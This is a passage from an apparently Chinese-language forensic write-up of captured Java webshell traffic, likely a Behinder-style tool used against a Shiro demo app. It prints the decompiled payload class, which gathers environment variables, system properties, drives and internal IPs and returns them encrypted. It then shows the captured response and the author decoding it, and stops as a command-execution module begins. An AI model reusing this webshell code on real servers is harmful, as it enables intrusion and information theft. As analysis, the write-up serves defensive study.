        whatever += &quot;nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy&quot;;
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map&amp;lt;String, String&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
        try {
            fillContext(obj);
            StringBuilder basicInfo = new StringBuilder(&quot;&amp;lt;br/&amp;gt;&amp;lt;font size=2 color=red&amp;gt;环境变量:&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;&quot;);
            Map&amp;lt;String, String&amp;gt; env = System.getenv();
            for (String name : env.keySet()) {
                basicInfo.append(name + &quot;=&quot; + env.get(name) + &quot;&amp;lt;br/&amp;gt;&quot;);
            }
            basicInfo.append(&quot;&amp;lt;br/&amp;gt;&amp;lt;font size=2 color=red&amp;gt;JRE系统属性:&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;&quot;);
            Properties props = System.getProperties();
            Set&amp;lt;Map.Entry&amp;lt;Object, Object&amp;gt;&amp;gt; entrySet = props.entrySet();
            for (Map.Entry&amp;lt;Object, Object&amp;gt; entry : entrySet) {
                basicInfo.append(entry.getKey() + &quot; = &quot; + entry.getValue() + &quot;&amp;lt;br/&amp;gt;&quot;);
            }
            String currentPath = new File(&quot;&quot;).getAbsolutePath();
            String driveList = &quot;&quot;;
            File[] roots = File.listRoots();
            for (File f : roots) {
                driveList = driveList + f.getPath() + &quot;;&quot;;
            }
            String osInfo = System.getProperty(&quot;os.name&quot;) + System.getProperty(&quot;os.version&quot;) + System.getProperty(&quot;os.arch&quot;);
            Map&amp;lt;String, String&amp;gt; entity = new HashMap&amp;lt;&amp;gt;();
            entity.put(&quot;basicInfo&quot;, basicInfo.toString());
            entity.put(&quot;currentPath&quot;, currentPath);
            entity.put(&quot;driveList&quot;, driveList);
            entity.put(&quot;osInfo&quot;, osInfo);
            entity.put(&quot;arch&quot;, System.getProperty(&quot;os.arch&quot;));
            entity.put(&quot;localIp&quot;, getInnerIp());
            result.put(&quot;status&quot;, &quot;success&quot;);
            result.put(&quot;msg&quot;, buildJson(entity, true));
            try {
                Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
                write.invoke(so, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                return true;
            } catch (Exception e) {
                return true;
            }
        } catch (Exception e2) {
            try {
                Object so2 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write2 = so2.getClass().getMethod(&quot;write&quot;, byte[].class);
                write2.invoke(so2, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so2.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so2, new Object[0]);
                so2.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so2, new Object[0]);
                return true;
            } catch (Exception e3) {
                return true;
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod(&quot;write&quot;, byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so3.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
            }
            throw th;
        }
    }

    private String getInnerIp() throws SocketException {
        String ips = &quot;&quot;;
        try {
            Enumeration&amp;lt;NetworkInterface&amp;gt; netInterfaces = NetworkInterface.getNetworkInterfaces();
            while (netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = netInterfaces.nextElement();
                Enumeration&amp;lt;InetAddress&amp;gt; addresses = netInterface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    InetAddress ip = addresses.nextElement();
                    if (ip != null &amp;amp;&amp;amp; (ip instanceof Inet4Address)) {
                        ips = ips + ip.getHostAddress() + &quot; &quot;;
                    }
                }
            }
        } catch (Exception e) {
        }
        return ips.replace(&quot;127.0.0.1&quot;, &quot;&quot;).trim();
    }

    private String buildJson(Map&amp;lt;String, String&amp;gt; entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty(&quot;java.version&quot;);
        sb.append(&quot;{&quot;);
        for (String key : entity.keySet()) {
            sb.append(&quot;\&quot;&quot; + key + &quot;\&quot;:\&quot;&quot;);
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo(&quot;1.9&quot;) &amp;gt;= 0) {
                    getClass();
                    Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
                    Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, value.getBytes(&quot;UTF-8&quot;));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
                    value = ((String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, value.getBytes(&quot;UTF-8&quot;))).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
                }
            }
            sb.append(value);
            sb.append(&quot;\&quot;,&quot;);
        }
        sb.setLength(sb.length() - 1);
        sb.append(&quot;}&quot;);
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty(&quot;java.version&quot;);
        try {
            getClass();
            Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
            Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            String result2 = (String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, data);
            result = result2.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
        }
        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf(&quot;PageContext&quot;) &amp;gt;= 0) {
            this.Request = obj.getClass().getMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod(&quot;getSession&quot;, new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map&amp;lt;String, Object&amp;gt; objMap = (Map) obj;
            this.Session = objMap.get(&quot;session&quot;);
            this.Response = objMap.get(&quot;response&quot;);
            this.Request = objMap.get(&quot;request&quot;);
        }
        this.Response.getClass().getMethod(&quot;setCharacterEncoding&quot;, String.class).invoke(this.Response, &quot;UTF-8&quot;);
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod(&quot;getAttribute&quot;, String.class).invoke(this.Session, &quot;u&quot;).toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i &amp;lt; buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是读取系统信息，返回值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;msg&quot;:&quot;eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9&quot;,&quot;status&quot;:&quot;c3VjY2Vzcw==&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对&lt;code&gt;msg&lt;/code&gt;Base64解密得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;osInfo&quot;:&quot;TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=&quot;,&quot;driveList&quot;:&quot;Lzs=&quot;,&quot;localIp&quot;:&quot;MTcyLjE4LjAuMg==&quot;,&quot;currentPath&quot;:&quot;Lw==&quot;,&quot;arch&quot;:&quot;YW1kNjQ=&quot;,&quot;basicInfo&quot;:&quot;PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4=&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再分别Base64解密，可得到LinuxInfo为&lt;code&gt;Linux6.8.0-88-genericamd64&lt;/code&gt;，DriveList为&lt;code&gt;/;&lt;/code&gt;，LocalIP为&lt;code&gt;172.18.0.2&lt;/code&gt;，等等。证明上述确实是读取系统信息。
接着继续解密并逆向，发现执行了一些系统命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
/* compiled from: Cmd.java */
